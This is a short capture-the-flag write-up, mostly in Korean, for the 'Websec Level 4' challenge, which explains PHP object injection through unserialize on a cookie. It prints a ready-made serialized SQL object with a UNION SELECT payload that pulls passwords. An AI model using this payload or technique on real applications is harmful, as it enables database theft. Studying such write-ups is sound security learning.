Post

Websec - Level 4

Level 4



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$sql = new SQL();
$sql->query = 'SELECT username FROM users WHERE id=';
if (isset ($_COOKIE['leet_hax0r'])) {
    $sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('CANT HACK US!!!');
        }
    } catch(Exception $e) {
        echo $e;
    }

public function execute() {
        return $this->conn->query ($this->query);
    }

public function __destruct() {
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        
        $ret = $this->execute ();
        if (false !== $ret) {    
            while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
                echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
            }
        }
    }






Solution



이 문제는 unserialize 함수 취약점 문제이다.

unserialize함수는 serialize된 문자열을 PHP 값으로 반환해주는 함수다.
[PHP Object Injection]
[PHP Serialize/Unserialize]


코드를 보면 base64로 인코딩 된 쿠키 값을 디코딩 한 후 unserialize해서 변수에 담는다.

그 다음 주목할 부분은 try ... catch 구문이다.

sess_data 변수 값이 배열이 아니라면 catch 구문으로 이동을 하고 예외상황을 출력한다.

이 부분이 unserialize 함수를 이용한 취약점이 터지는 곳이다.


쿠키 값에 SQL 객체를 serialize한 뒤 base64 인코딩 한 값을 줘야 한다.

우선 플래그를 보려면 SQL 객체의 query 변수 값은 이렇게 되어야 한다.
select username from users where id=1 union select password from users where id=1


SQL 객체를 serialize를 해주면 이렇게 된다.
O:3:"SQL":1:{s:5:"query";s:81:"select username from users where id=1 union select password from users where id=1";}


이 문자열을 base64로 인코딩 해줘서 쿠키값으로 주면 catch 구문에서 sess_data 값을 출력을 해주므로, SQL 객체를 실행시켜서 소멸자에서 query를 실행시켜서 username에 플래그 값이 나온다.






This post is licensed under CC BY 4.0 by the author.